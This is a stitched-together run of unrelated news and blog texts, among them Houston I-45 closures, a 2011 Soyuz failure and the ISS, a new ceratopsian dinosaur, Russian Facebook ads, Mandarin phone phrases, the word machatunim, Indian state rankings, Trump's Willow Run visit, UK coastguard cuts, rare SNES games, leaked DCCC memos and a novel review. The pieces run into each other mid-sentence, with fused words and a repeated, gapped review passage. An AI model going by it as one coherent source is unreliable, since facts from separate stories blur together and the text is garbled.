18 at 9 p.m. through Monday, Nov. 21 at 5 a.m. and again Dec. 2 at 9 p.m. through Dec. 5 at 5 a.m. and Dec. 9 at 9 p.m. through Dec. 12 at 5 a.m. These closures mean that many drivers will have additional drive time with the detours and traffic jams from the construction since this portion of I-45 is a key connector in accessing the surround highways in downtown including I-10, US 50 and of course I-45 north and south. I-45 NIGHTMARE: Interstate 45 ranked as second-deadliest highway in U.S. A Reddit user recognized the severity of these closures and mapped out the detours a driver needs to know in order to get around Houston for these weekends. Some of their detour directions show a driver adding 25 extra minutes to their travel time because of the construction closures. And as for the West Dallas Bridge, don't expect to use that again until late December or early January, according to TxDOT. FURTHER DOWN I-45: TxDOT sets next phase of I-45 wideningNewsAlert Sign up for our NewsAlert service and have the latest news in astronomy and space e-mailed direct to your desktop. Enter your e-mail address: Privacy note: your e-mail address will not be used for any other purpose. Space station could be abandoned in November BY STEPHEN CLARK SPACEFLIGHT NOW Posted: August 27, 2011 HOUSTON -- Astronauts may need to temporarily withdraw from the International Space Station before the end of this year if Russia is unable to resume manned flights of its Soyuz rocket after a failed cargo launch last week, according to the NASA official in charge of the outpost. The doomed Soyuz rocket lifted off from Kazakhstan at 1300 GMT (9 a.m. EDT) on Wednesday. Credit: Energia Despite a delivery of important logistics by the final space shuttle mission in July, safety concerns with landing Soyuz capsules in the middle of winter could force the space station to fly unmanned beginning in November, according to Michael Suffredini, NASA's space station program manager. "Logistically, we can support [operations] almost forever, but eventually if we don't see the Soyuz spacecraft, we'll probably going to unmanned ops before the end of the year," Suffredini said in an interview Thursday, one day after Russia lost a Soyuz rocket with an automated Progress resupply ship bound for the space station. A Soyuz rocket crashed Wednesday minutes after lifting off from the Baikonur Cosmodrome in Kazakhstan. The third stage of the Soyuz-U rocket was firing when something caused the vehicle's RD-0110 engine to turn off early, scattering debris in the Altai region of Siberia more than 1,000 miles east of the launch site, according to Russian media reports. The Soyuz-U's third stage is almost identical to equipment used on the Soyuz-FG booster that propels human crews into orbit, according to Roscosmos, the Russian space agency. The problem Wednesday occurred nearly five-and-a-half minutes after liftoff when the rocket detected a low fuel pressure reading, according to Suffredini. "They have data showing that the engine was shut down due to what looks like low pressure on the fuel side. They saw data all the way down to when the vehicle broke up," Suffredini said. "In this case, they at least know where the potential anomaly area is, so they can focus their attention there." The Russian space agency set up a board to investigate the cause and recommend corrective actions, while other groups were tasked with reviewing implementation plans for Russia's manned space program and checking the quality of manufacturing throughout the Russian space industry. "We will understand, to our satisfaction, the anomaly, what is believed to be the cause and how they resolved it," Suffredini said. "If we're not happy, we won't put our astronauts on the Soyuz." NASA astronaut Daniel Burbank and cosmonauts Anton Shkaplerov and Anatoly Ivanishin were preparing to launch to the space station Sept. 22, but that flight is likely going to be delayed until at least October in the wake of Wednesday's rocket failure. Wednesday's Soyuz launch mishap was the second rocket failure in a row for Russia. A communications satellite launched Aug. 17 by a Proton rocket was stranded in the wrong orbit due to an anomaly with the mission's Breeze M upper stage. Engineers will present data to space station management Monday morning that could lead to a formal decision to extend the stay of three astronauts on the space station beyond their scheduled Sept. 8 landing date. Space station commander Andrey Borisenko, Russian cosmonaut Alexander Samokutyaev and NASA flight engineer Ronald Garan launched to the complex April 4 and planned to depart the lab and return to Earth on Sept. 8. File photo of a Soyuz spacecraft in orbit. Credit: NASA Officials could decide this week to extend their mission, according to Suffredini. The crew's Soyuz TMA-21 capsule can stay docked to the space station for up to 210 days. Its design life expires in late October, and Suffredini said he expects no problems continuing their mission until then. The other half of the station's six-person crew -- NASA flight engineer Michael Fossum, Russian cosmonaut Sergei Volkov and Japanese astronaut Satoshi Furukawa -- are supposed to return home Nov. 16. "The November crew has a little different issue," Suffredini said. "If we're not launching by then and we have to de-man space station, we pretty much have to do that probably by about the middle of November." That crew's Soyuz capsule, named Soyuz TMA-02M, blasted off June 7 and would need to land in late December or early January. "One of our requirements is to land in daylight, and it has to be an hour from sunset or sunrise," Suffredini said. "On Nov. 19, we reach that cutoff and we go dark." The next daylight landing window opens in late December, but NASA and Russian officials worry about extreme winter weather conditions in the Soyuz landing zone on the steppes of Kazakhstan. "The weather is severe out there in the winter time," Suffredini said. "So from a search and rescue standpoint, that's probably something we don't want to do. Even if it's within our requirements, we probably don't want to be landing two hours before sunset. If we had any problem at all, we would be searching for the crew in a blowing snow storm in the middle of night." Space station control centers in Houston and Moscow are equipped to monitor and operate the $100 billion laboratory from the ground, but retreating from the outpost would halt promising medical research and break a string of almost 11 years of continuous manned operations. "I suspect that if we get close to Nov. 16 and we haven't flown a Soyuz yet, and by then we will have stepped down to three crew, we'll probably de-man the ISS and go to unmanned operations," Suffredini said. File photo of the International Space Station. Credit: NASA Russia is expected to present a recovery plan this week outlining tentative dates for launching the Soyuz rocket again. One scenario under consideration would see at least two Soyuz rockets with the RD-0110 third stage fly before the next manned launch. A commercial launch of six U.S.-owned Globalstar communications satellites was scheduled for early October, and Russia could move forward the planned launch of the next Progress cargo freighter from late October to earlier in the month. "That would be a philosophy that says let's go fix the problem and get a couple of test flights under our belt before we fly crew," Suffredini said. "You have to keep in mind we won't fly with this anomaly. We won't fly knowing we have this anomaly. I expect to determine root cause, repair root cause and fly these flights." Russia quickly recovered from a deadly rocket crash in 2002 and launched a crew of three space fliers two weeks later. "I fully expect our Russian colleagues will resolve this anomaly in a timely fashion, and I expect them to do it in a safe fashion. Having the data they have on the anomaly is just fantastic," Suffredini said. "I would expect you would hear us say something along the lines we'll fly this commercial flight, we'll fly the Progress with the hopes maybe of flying a Soyuz by the November timeframe if everything works out."This article is over 2 years old A novice fossil collector’s decade-old find has been announced as a new kind of spectacularly horned dinosaur related to the Triceratops A novice fossil collector’s lucky find in a remote Montana badlands more than a decade ago represents a new kind of spectacularly horned dinosaur, researchers announced Wednesday. The bones unearthed near Winifred, Montana represent a previously unknown species of dinosaur that lived 76 million years ago. Dinosaurs in decline long before asteroid catastrophe, study reveals Read more Its scientific name is Spiclypeus shipporum (spi-CLIP-ee-us ship-OR-um) but it’s been nicknamed “Judith”, after the Judith River rock formation where it was found in 2005 by retired nuclear physicist Bill Shipp. Canadian Museum of Nature paleontologist Jordan Mallon says Judith is closely related to the well-known Triceratops. Both had horned faces and elaborate head frills. Like Triceratops, Judith was a plant eater, approximately 15ft long and weighing up to four tons, Mallon said. Facebook Twitter Pinterest Dr Jordan Mallon next to a reconstruction of Judith’s skull. Photograph: Martin Lipman/AP Shipp told the Associated Press he stumbled across what turned out to be Judith’s leg bone in 2005, after hiring an amateur paleontologist to give him a lesson on fossil hunting at the ranch he’d recently acquired near the Upper Missouri River Breaks National Monument. “I found it accidentally on purpose,” he said. “I was actually looking for dinosaur bones, but with no expectation of actually finding any.” It was at least 10 years old when it died and the bones show signs of infection that would have left Judith hobbled. That made it potentially vulnerable prey for Tyrannosaurus rex-like predators that lived around the same period, Mallon said. “It’s an exciting story, because it’s a new species, and yet we have this sort of pathetic individual that suffered throughout its lifetime,” Mallon said. “If you’re hobbling along on three limbs, you’re probably not going to be able to keep up with the herd.” Details on the find were published in the online scientific journal PLoS ONE. Judith is one of only about a dozen dinosaur species that have been
that ads placed by Russia-linked Facebook accounts targeted Michigan and Wisconsin in particular, with many “geared at swaying public opinion in the most heavily contested battlegrounds.” Experts don’t think the trolls behind Russian Facebook accounts could have determined who to target on their own, but the question is whether the help they got came from Trump’s orbit. The leading suspects at this point are Kushner and Brad Parscale, the campaign’s digital media director. For months, the House Intelligence Committee has been probing this question. “Obviously, we’re looking at any of the targeting of the ads … to see whether they demonstrate a sophistication that would be incompatible with not having access to data analytics from the campaign,” Representative Adam Schiff said on CNN in October. “At this point, we still don’t know.” Now, Mueller is probing the same issue and interviewing RNC staffers about the finer points of the campaign’s digital operation, Yahoo News reports. Whether that leads to any more clarity on the issue is an open question, but if there is evidence that the campaign handed over data to help Russian trolls target voters, expect to hear a lot of people using the “C-word.”Learning a language can't be done without speaking it. But what can do if you don't have anyone to speak it with? Having a language exchange partner is fun, but what if you could speak with a local in a completely immersive context? In theory, you could just call up strangers in your target country to practice objective based dialogues. That is what this article is all about... calling strangers to practice your Mandarin. There are many opportunities for you to do this without bothering people - here are some Ideas: Make a reservation at a restaurant. Ask what time a shop closes. Ask if a bookstore carries a copy of a book. It's much easier to do this if you are living in the same time zone as China. If you are in the United States, your night time may be day time in Beijing Standard Time. (GMT+8) Keep this in mind. If you are local, you can use baidu local search to find Chinese businesses. If you are living overseas you can use baidu / google search to find these companies and call them with a tool like Skype which allows international calling for a low cost. Below I have included some phrases for you to use when you call businesses: 0 ► Ling 1 ► Yi 2 ► Er 3 ► San 4 ► Si 5 ► Wǔ 6 ► Liu 7 ► Qi 8 ► Ba 9 ► jiǔ Phrases: Hello - 喂 - Wèi Hello, is Mr. Wang there? - 王先生在吗？ - Wèi, wáng xiānshēng zài ma? Hi, this is Lucy. - 我是露西。- wǒ shì lù xī. (Excuse Me), What time do you close -? 请问你们什么时候关门 - Qǐngwèn nǐmen shénme shíhou guānmén? I would like to make a reservation - 我想预订一下 - Wǒ xiǎng yùdìng yīxià Do I need a reservation -? - 需要预订吗？- Xūyào yùdìng ma? A reservation for two please - 两个人 - Liǎng gèrén Do you have 'Romance of the Three Kingdoms?' - 你有三国演义吗？ - Nǐ yǒu sānguó yǎnyì ma? How much does it cost? - 多少钱 - Duōshǎo qián Let's learn how to make telephone in Chinese through this video These phrases should help you kickstart awkard conversations that will lead to increased comprehension and building your vocabulary through context. Do you have a phrase that you would like to add to this list? Please leave a comment below. Learn more Chinese with us: Book a free trial lesson now!Co-in-laws doesn’t cut it. Photo by Thinkstock My parents and my wife’s parents have a good relationship. It’s nice. It’s rare. And they use a word to describe each other: machatunim. We hear it a lot. My wife’s dad, at home: “I spoke to the machatunim today.” My wife’s mom, in an email to my dad: “I’m so glad we’re machatunim.” My wife and I roll our eyes at this. Here we have a classic case of secular American Jews deploying a Yiddish word as a little secret handshake, sharing their delight that both their kids married Jewish. Machatunim: The word even contains that satisfying, throat-clearing chhh—machhhh-ah-tun-um. But there’s another, more pragmatic reason they use this word: It’s super convenient. The word means “the parents of my child’s spouse.” There’s no English equivalent, which makes describing this relationship otherwise kind of challenging. What else would they say? Co-in-laws? That barely makes sense. My parents would have to say something clunky like, “our son’s wife’s parents.” Machatunim is way better. It’s such a useful word, in fact, that it’s worth wondering: Why doesn’t English contain a word for this very common relationship? English actually lacks lots of familial concepts that other languages have. Consider Croatian: Ujak means an uncle on your mother’s side, and stric means an uncle on your father’s side. This kind of distinction is common around the world, but in English, we just have one word: uncle. Urdu goes deeper, with words for people three degrees away from you. Your husband’s elder brother’s wife, for example, is jethani, and your husband’s younger brother’s wife is devrani. A Pakistani friend of mine learned Urdu as a child, then picked up English by watching TV, and our vague language drove her nuts. “While watching a movie, whenever the kids said, ‘grandma’ or ‘granddad,’ I used to be like, ‘Which grandma!? Be specific!’” she tells me. But English is highly detailed when compared with, say, many languages in the Pacific. In some cultures there, no version of words like uncle exists at all. “They work on a system of generations,” says William Foley, a linguistics professor at the University of Sydney. If your dad has brothers, you just call them all “father.” Why so much variation? Start with this: Why do we have words for different kinds of relatives at all? “There’s a biological bedrock to it,” says Foley. Societies want to avoid incest, and they want to establish lineage so they know how property and land gets passed down. When a constellation of relatives is given titles, the people in those societies are drawing a map—this person is good for marrying, this one isn’t, these folks get my money when I die, and those folks are out of luck. There are countless ways of accomplishing this, of course, so societies just develop the words that meet their needs. Are multiple generations of a family living together, say? Then they might need more specific words to identify each other—otherwise, they’ll waste a lot of time at home yelling, “Which grandma!? Be specific!” So let’s look at in-laws. “The relationship you have to in-laws has an awful lot to do with the mating practices and the locality practices after marriage,” Foley says. The more time someone is likely to spend with their in-laws after marriage, the more complex terms a culture is likely to have for them. In Yiddish-speaking cultures—particularly ultra-Orthodox communities in prewar Europe—marriages are arranged, and the bride and groom only meet a few times before their wedding. “The goal is to get matched with a family that is equal to or above one’s own family in terms of lineage, money, success, popularity, etc,” says Ayala Fader, an anthropology professor at Fordham University who studies Jewish ethnography. That means the in-laws are developing a relationship just as purpose-filled as the bride and groom’s. They need a word to use to refer to each other, and they got machatunim. (Yiddish isn’t the only language with a word for this. Spanish has consuegros, for example, which likely developed for different reasons.) Here in the English-speaking world, though, we barely give a damn about whom our parents think we should date. And when we marry, we might move far away from our parents—if we haven’t already. Even dating back centuries, our culture never really paired up the in-laws. Rather, when a medieval, English-speaking woman got married, she just joined the husband’s family. “I suspect that in a society with such a strong emphasis on tribal affiliations, families would be wary of anything that might seem to muddy the integrity of their family line”—and that includes a word like machatunim, says Andrew Rabin, a professor of old English at the University of Louisville in Kentucky. “Your daughter might marry into my family, but I’d still want it to be very clear that it was my family’s lineage and honor that mattered.” But English once contained other words about the families of married couples. In early medieval society, a beef between two people could easily spark a generations-long Hatfield-and-McCoys-style feud. So, some families tried to solve things with a high-drama union: One family’s daughter or sister was married off to the other family’s son or brother, and she was called a freoðu-webbe (translation: “peace weaver”). What happened after that is a little fuzzy; the records aren’t totally clear. But Rabin says this is how it possibly went down: “Peace-weaving relationships are almost always depicted as ending in failure, often because my sister has stabbed you in the marriage bed—sorry!” And so, to keep everyone alive, a second trade was put in place: When the freoðu-webbe gave birth to a son, that son might be handed over to be raised by her brother. The boy was called a “sweostor-sunu,” which literally means “sister’s son,” but the relationship between an uncle and a sweostor-sunu is different than it is today: The uncle was a patron, godfather, even a foster father, but could also represent a threat. “In some sense, what we’re looking at resembles an exchange of hostages: My female relative goes off to live with your family, but then the son of that union is returned to be fostered by me and my family. Implicitly, if an accident happens to befall my sister, your son might end up being equally accident prone.” Holiday gatherings must have been so fun! So, let us all be thankful we no longer have freoðu-webbes and sweostor-sunus. Those words can die off with the traditions that necessitated them. But we still do have both sets of in-laws in our lives, and an English word for them might be nice. Then again, maybe it’s not necessary: English, after all, is a notorious word thief. Around the 12th century, we took the words niece, nephew, and cousin from French, and those words have served us well. (Before that, there was no single word for any of those types of relationships. A nephew was simply called a bróþor-dohtor, or brother’s-daughter, for example.) So why not steal another word now? Machatunim does the job. Machatunim it is. Our parents—and oh, how they’ll love to hear this—were right all along.PTI By NEW DELHI: Tamil Nadu has been ranked as the best performing state on eight out of nine development parameters like economy, power, roads and health while Kerala secured the second slot, according to an Assocham study. Except for education, Tamil Nadu remained the best performing state in all other parameters. Kerala was the best state in overall development, income and removing inequality, health, roads and overall development. The states have been given ranking on the basis of their performance in the years 2009-2011 and 2012-14, the industry body said. "Tamil Nadu has ranked among the best performing states in terms of eight out of nine development parameters like economy, power, roads and health while Kerala was a pleasant surprise on the second spot," Assocham said. Gujarat, Andhra Pradesh, Bihar and West Bengal were best performing states in four each of the nine parameters while Uttar Pradesh, Haryana, Karnataka, Haryana, Maharashtra and Odisha were best in three of the criteria, the study said. Significantly, in three of their criteria, Odisha and West Bengal had two related to roads and availability of electricity, the two most important factors which can make them favourites among the investors. "Both these states now need to put in place a favourable investment climate through policy interventions on land acquisition and other clearances and they could do much better," Assocham President Rana Kapoor said. In terms of income and equality, states including Kerala, Telangana, Haryana, Himachal Pradesh, Andhra Pradesh Punjab performed well whereas the worst performing states were Assam, Madhya Pradesh, Bihar, Uttar Pradesh, Odisha, Jammu and Kashmir and Chhattisgarh. Gujarat, Tamil Nadu, Maharashtra, Karnataka, Rajasthan, Uttar Pradesh and Madhya Pradesh were among the top states in industrial development. In the crucial area of road connectivity, Assam, Bihar, Kerala, Odisha, Uttar Pradesh, Tamil Nadu and West Bengal were the best states.CLOSE Several hundred converged on Freedom Hill park in Sterling Heights, mimicking other rallies around the state and country. Jim Schaefer/Detroit Free Press Donald Trump. (Photo: Tom Lynn) President Donald Trump is planning to hold an event at the American Center for Mobility at Willow Run on Wednesday to talk about jobs — specifically automotive jobs — and may announce a plan to roll back fuel efficiency standards. Trump administration officials on Monday confirmed the visit but did not provide details. The Free Press learned separately that the president plans to hold the event at Willow Run, a former bomber plant in Ypsilanti Township during WWII. Willow Run, also a former General Motors plant, is home to the American Center for Mobility, a testing center for self-driving vehicles. Administration officials said the president also will meet with auto executives, union officials and hold a rally with workers. The president has invited a number of automakers, including the Detroit Three, to attend the event, according to two people familiar with the president's plans. Related: Both people also said they expect the president will talk about easing fuel economy and emissions standards set to take place between 2021 and 2025. White House Press Secretary Sean Spicer said Trump plans to visit both Nashville, Tenn., and metro Detroit and said the visit will highlight "the need to eliminate burdensome regulation that needlessly hinders job growth." The U.S. Environmental Protection Agency and the National Highway Traffic Safety Administration began reviewing those standards last year as part of a planned "mid-term review." The automotive industry has been lobbying hard for the standards, adopted by the Obama administration in 2011, to be relaxed because of unanticipated changes in the types of cars consumers are buying and lower than expected oil and gas prices. The standards will require steep spending in the coming years. In addition to the fuel economy standards, the automotive industry also has been lobbying for the relaxation of standards for greenhouse gas emissions. Last week, several Democratic U.S. senators and environmental groups blasted plans said to be in the works to roll back tougher fuel-use standards for American vehicles, arguing that they will return automakers to pre-recession policies that led to the near-collapse of the domestic industry. Sens. Ed Markey of Massachusetts, Tom Carper of Delaware and Jeff Merkley of Oregon said rolling back fuel economy standards would hurt the country and the auto industry. Markey and the others also said that while a change to future standards might give American automakers leeway to sell more profitable, larger vehicles, that's one of the practices that led to trouble for domestic automakers in the 1990s and 2000s. At the time, GM, Ford and Chrysler devoted most of their resources to developing large pickups and SUVs and neglected small cars. When gas prices soared in 2008 demand for larger vehicles plummeted and the Detroit Three suffered because they did not have competitive small cars. In 2011, automakers agreed to regulations that called for the industry to nearly double fuel efficiency standards to 54.5 m.p.g., which the Obama administration said would save motorists $1.7 trillion in fuel costs over the life of the vehicles. But they would cost the auto industry about $200 billion to comply with over 13 years. Automakers met stricter regulations through 2016 but have said that the standards scheduled to take place from 2021 to 2025 are much harder to meet. Initially, the mid-term review process was expected to take well into this year and both agencies had until the middle of 2018 to make a final decision. But last year, both EPA and NHTSA worked hard to try to speed up the process. In November, the EPA decided to leave the regulations unchanged — a move that generated criticism. Related: At the time, the agency said it sped up the time frame to reach its conclusion because of the vast amount of data it had been reviewing and the evidence it had revealed -- not because it is rushing the finalize the rule-making process before President-elect Donald Trump took office. Contact Brent Snavely: 313-222-6512 or bsnavely@freepress.com. Follow him on Twitter @BrentSnavely. Read or Share this story: http://on.freep.com/2mCdhjoChinese Ambassador to Zimbabwe Mr Huang Ping Collen Murahwa Herald reporter China yesterday handed over $60 000 worth of disaster relief food items to Government to cater for communities affected by the Cyclone Dineo induced floods which hit the southern parts of the country recently. The donations were sourced from The Red Cross Society of China, the Chinese Embassy and the Chinese community living in Zimbabwe. Speaking at the handover ceremony of the donations, Chinese Ambassador to Zimbabwe Mr Huang Ping said his country would always support Zimbabwe, as their friendship has come a long way since the days of the liberation struggle. “Just as China was Zimbabwe’s most sincere friend in its pursuit for national independence and liberation struggle, so has China been a true friend of Zimbabwe in years after independence,” he said. “Having leant about the disaster in Zimbabwe, China has responded quickly to lend a helping hand.” Mr Huang said the donations were precipitated by Government’s plea for support and media reports which highlighted the devastating effects of Cyclone Dineo. “As we all know, at the beginning of the year, media reports showed that the floods induced by Cyclone Dineo have killed over 100 people, damaged over 2 000 houses, left 700 houses displaced and undermined a large amount of infrastructure in Zimbabwe,” he said. Mr Huang promised more support in many developmental areas in the future. “Going forward, China will continue to be Zimbabwe’s most reliable partner in speeding up industrialisation and agricultural modernisation and boosting its capacity for home grown development,” he said. “Today’s event attests to the all-weather friendship between China and Zimbabwe that has stood the taste of time and will be carried forward for generations to come.” The donated items included salt, sugar, cooking oil and roller meal. Local Government, Public Works and National Housing Minister Saviour Kasukuwere expressed gratitude over China’s donor. “I express my sincere appreciation to the People’s Republic of China for heeding our plea for assistance to alleviate the suffering of our people from the unprecedented effects of flooding this rainfall season,” he said. “It is remarkable that the people of China have gained experience to manage disaster risk over time and have in place a robust preparedness and response mechanisms which are backed by proactive mitigation strategies, thus ensuring resilience. “I believe it is opportune for Zimbabweans to glean lessons from the exemplary approach.” Over the past decade, the Chinese Government has provided five consignments of emergency humanitarian food aid to Zimbabwe worth tens of millions of US dollars. The Asian country has also provided agricultural machinery and fertilizers in the form of governmental concessional loans worth about $100 million. Last year, China provided 10 000 metric tonnes of rice and 10 000 tonnes of urea to tackle draught and promote agricultural development. Just a fortnight ago, the economic giant donated $1 million in humanitarian assistance towards assisting flood victims and repairing of infrastructure.(not satire unfortunately – it’s the coalition government!) UPDATE – This government cock-up could cost Tory MP Oliver Letwin his West Dorset seat at the next election! More than half of the voters in his constituency have signed a petition protesting against the scrapping of the Portland rescue helicopter as part of government plans to cut coastguard and rescue services. See here for more info. the coalition government’s biggest cock-up yet? A government ‘mix-up’ over dates means the UK coast will be left inadequately guarded. For up to 2 years. We know the coalition government has made some huge mistakes in its mad rush to sacrifice public services at the altar of austerity, but this one might just beat them all. It’s not being very well reported but as part of its austerity measures, the government has just started closing half of all the local Coastguard Maritime Rescue Co-ordination Centres around the country. The first centre was closed down just this week. The coastguard is important. It’s one of the four emergency services along with fire ambulance and police. Coastguard stations protect our coast – they coordinate large-scale and small-scale search and rescue operations, control shipping, deal with maritime and coastal emergencies, protect the environment from oil spills etc and generally stand guard over the 19,491 miles of Britain’s coast. According to government plans, the 50% of our local coastguard stations which are being closed are to be replaced by a single Coastguard National Maritime Operations Centre based in Fareham, which is supposed to coordinate coastguard operations from a central location. However, the centre in Fareham isn’t fully functional yet. And it won’t be ready until …..2014. So for the next 2 years vast parts of our coast will be left virtually unguarded. That’s like allowing our fire, ambulance or police services to be left without adequate cover for 2 years. But even more worrying. Could this scandalous state of affairs be all down to a simple mix-up by the government over dates? It seems some senior members of the cabinet – one David Cameron for example – were under the impression the local coastguard stations were going to be closed not in 2012 but in 2015 – a year after the Fareham national centre is to be fully operational. Look at this letter from Cameron, sent just last July. In the third paragraph from the end, Cameron states confidently that the closures will be taking place in ….. 2015: Some mistake surely? Why are the local stations closing in 2012 – two years too early – when according to the PM they should be closing in 2015? When he was tackled about the letter, Cameron claimed he had made a ‘clerical error’ by typing 2015 instead of 2012. But read the paragraph again. It doesn’t look like a ‘clerical error’ to me. Cameron clearly says the centres would remain open until 2015 to ensure the planned transitions would maximise ‘the retention of local knowledge’. The sentence would no longer make any sense if 2015 were replaced with 2012. It looks very much to me as if senior members of the government didn’t realise there would be a 2 year gap in coastguard coverage and are now hoping they’ll get away with it because no-one will notice what a complete cock-up they’ve made of the whole thing. Maybe we should make sure it is noticed and they don’t get away with it? . For more information about the Coastguard closures farce – see here: Coastguard SOS . Please help spread this information by sharing. Thanks:This is a continuation of a series with two prior entries for the rarest N64 and Playstation One games. Given the recent release of SNES Classic, today I decided to go back to a series I started when this blog was in its infancy. The Super Nintendo Entertainment System (abbreviated SNES and also known as the Super Famicon) was Nintendo’s early 90s release to follow-up the infamous NES. The system sold as many as 50 million units worldwide at an introductory price of $199 USD (1991 dollars), competing with Sega for dominance. It was also during the SNES era that the ESRB was formed to “deal” with violent video games, with Nintendo having self-censored prior to the ratings board. The SNES is fondly remembered for its great leap forward in graphics, sound, and gameplay. Moving away from the near arcade ports of its predecessor, SNES introduced the world to Super Mario World, Donkey Kong Country, and Street Fighter II. While those games sold millions of units, today we will take a look at some of the rarest and most expensive SNES games. I’ve included links to price charts since the number of sales for these items is sparse, so prices correct (up and down) with each unit sale. Special Mentions: I wanted to break out the special category of limited edition or competition cartridges as these entries are incredibly rare, but were never in true retail production. Nintendo Powerfest 1994 ($10,988): This competition cartridge had Super Mario World, Super Mario Kart, and Ken Griffey Jr Baseball. It was a specially designed cartridge that only had the first level of SMW, the first track of Kart, and set-up for most home runs in Ken Griffey. Supposedly, only two known copies exist — and the saga of the last known purchaser can be followed here. Nintendo Campus Challenge 1992 ($4,000): Another one-of-kind special cartridge, this game consisted of Super Mario World, F-Zero, and Pilotwings. Like other competition carts, each game was actually a mini-game, where upon completion it was pooled into a total of points to be compared against others. One went up on eBay most recently 6 years ago. Donkey Kong Country Competition / Star Fox Super Weekend Competition ($1,100-$1,800): Both of these games were similar to one another, as well as the previous two entries. These special cartridges were made by Nintendo to serve as competition carts, with only a few levels and a special scoring system. Availability for both was low (2,000 – 2,500 units each) and each was only available in special Nintendo Power bundles or through Blockbuster. The List: #5 Earthbound (Used: $157 New: $4,000) Earthbound has found a strong following since its release in 94/95. Known as Mother 2 in Japan, this strange Japanese take on American culture was not initially met with much praise. After Ness was featured in HAL’s Super Smash Brothers, the game was rediscovered and is now considered a classic. Despite the game’s wide print, as well as its availability on the new SNES Classic, the original SNES cartridge still holds value. #4 Harvest Moon (Used: $177 New: $1,400) The first entry in the series, the original Harvest Moon released alongside the debut of the N64. The combination of a farming game involving planting tulips and herding livestock did not catch much initial interest for those clamoring for a new system. Despite it being overlooked (and therefore less copies), Harvest Moon has gone on to become a rare SNES title, but also a successful series spawning many variants of the simple day to day farming life gameplay. #3 EVO the Search for Eden (Used: $185 New: $2,049) Released in 1993, EVO did not initially win critics hearts. EVO is side-scrolling action game with RPG elements, namely the player choosing how to “evolve” their custom creature as they advance through different eras of Earth’s history. While the gameplay itself was deemed very mediocre, the game did receive high marks for originality. Given its uniqueness, as well as its complete lack of reprint and accessibility elsewhere, copies of EVO are quite pricey (especially new). #2 Hagane: The Final Conflict (Used: $625 New: $3,650) Hagane involves ninjas and samurai in a futuristic setting attempting to defend The Holy Grail. While the premise is strange, the game was very similar to Ninja Gaiden and Shinobi. Considered at the time to be a “classic” side-scrolling action game, the game released to solid reviews and has retained fans despite a lack of a reprint or digital release. It was rumored to be a Blockbuster exclusive, but that still remains to be verified. It’s more recent rise in value means its new to the list. #1 Aero Fighters (Used: $710 New: $7,000) Aero Fighters has also recently shot up the rarity list, and is likely the rarest SNES game at the time of this writing. Originally an arcade game, Aero Fighters was a strong port onto the SNES. The gameplay was pretty straightforward shoot em up as was common in arcades at the time. Despite the praise of the port, the game itself released with a limited print run as it had many existing arcade cabinets. Its Neo Geo sequel is also quite valuable, unlike its more recent sequels. Feel free to check out the excellent price and transactions tracker over at Price Charting. Do you own any of these rare titles? Have you played them? Comment below! AdvertisementsBy Nadia Prupis / Common Dreams Newly leaked documents show Democratic campaign officials advised U.S. House of Representatives candidates not to explicitly support “concrete policy solutions” proposed by the Black Lives Matter (BLM) movement and to limit the number of activists invited to campaign appearances. The Hill reports on memos leaked by hacker Guccifer 2.0 in the latest breach of the Democratic Congressional Campaign Committee (DCCC): Among the advised tactics, Democrats were counseled to engage with Black Lives Matter activists and “listen to their concerns” but to do so at “personal or small group meetings.” “If approached by BLM activists, campaign staff should offer to meet with local activists,” the memo says. “Invited BLM attendees should be limited.” The memo seems to have been issued after Black Lives Matter activists confronted three Democratic presidential candidates—now-nominee Hillary Clinton, Sen. Bernie Sanders (I-Vt.), and former Maryland Governor Martin O’Malley—at their respective campaign rallies and town halls. “While there has been little engagement with House candidates, candidates and campaign staff should be prepared,” the document states. “Be a partner and lead from behind.” “BLM needs partners to achieve their agenda and they want to be a part of the conversation,” it continues. “However, BLM activists don’t want their movement co-opted by the Democrat Party. They are leary [sic] of politicians who hijack their message to win campaigns.” In a statement issued Wednesday, DCCC national press secretary Meredith Kelly said, “The Democratic Congressional Campaign Committee highly respects and values the leadership of the Black Lives Matter movement. In less than two years, BLM has evolved from three words into a political force that is changing and waking our nation. At the DCCC, we highly encourage our candidates to not only embrace the importance of this movement, but to meet with and listen to community activists to partner social change.”Whilst I agree that this has been oversold as far as unswervingly highbrow or hard SF readers are concerned, it's got plenty going for it as a character-driven fantasy novel, and Scarlett Thomas is becoming my new favourite comfort-reading author. (Even within my friends list, opinions of The End of Mr. Y range from "highly intellectual yet accessible" to "completely stupid", so this isn't the easiest review I've ever written.) The book is, admittedly, comfortable because of its blend of familiar [who doesn't like characters experiencing unrealistically fulfilling romance, despite sometimes having falling asleep to ridiculous merging dreams like the final chapters. Still, it shows plenty of insight into the characters' psychology as it's an impossible wish-fulfilment concomitant with their troubles - to which the realist contrast is what Burlem says on p.411 (hide spoiler) Whilst I agree that this has been oversold as far as unswervingly highbrow or hard SF readers are concerned, it's got plenty going for it as a character-driven fantasy novel, and Scarlett Thomas is becoming my new favourite comfort-reading author. (Even within my friends list, opinions ofrange from "highly intellectual yet accessible" to "completely stupid", so this isn't the easiest review I've ever written.)The book is, admittedly, comfortable because of its blend of familiar things I already love: impoverished postgrad Ariel has adventures whilst investigating work of fictional Victorian author (, though the C19th pastiche extracts aren't half as good), drinks magic potion like Alice, encounters concepts from Pratchett'sand enters other minds like Granny Weatherwax gone borrowing or all those body-swap movies from the late 80s, and there's sometype stuff for good measure. The overall tone is reminiscent of some of the stories in Neil Gaiman's wonderful collection, the narrative and plot being pushed by a protagonist with a strong personality and a darkish past and present, rather than by the SFF content itself. There's an argument for Scarlett Thomas's work as weirder, darker, more academically-inclined chicklit, but on the other hand, Ariel's angst and lust, and Thomas' moments of acute insight into messed-up people (esp. p277ish; also 345, 411 and all over the place really) are hardly different from the portrayals in Gaiman's male character-focused stories. (Unlike chicklit characters, Ariel never goes "huh! men!", tacitly seeming not to find them particularly 'other', and she hardly ever makes whole-gender-based generalisations. She spends a helluva lot of time thinking about other things [interesting things, not handbags and bad chardonnay] as well as love and sex, without seeing that as an either/or... Thomas keeps writing characters I want to be friends with.) And as in, there are a couple of scenes sexier than plenty of stuff marketed as erotica - though there isn't as much shagging as some of the blurb quotes imply.Reading posts about entirely different books made me realise thatwill be of interest to people who like reversal of traditional gender roles in fantasy stories. Ariel is driving the adventure throughout, and her male love/lust interests are, as the adventure gets going, as peripheral and helpmeetish as they would be for a man in a typical action movie. This is perhaps less the case towards the end but I might just see it that way because I'm a bitter old hag (view spoiler). At the same time I could still think of plenty of stories in which the they would have been the other way round.There's ample comment on Goodreads about inaccuracies in the characters' academic discussions (especially re. physics and the "linguistic turn" of philosophy and literary theory. The people who are complaining that homeopathy has an 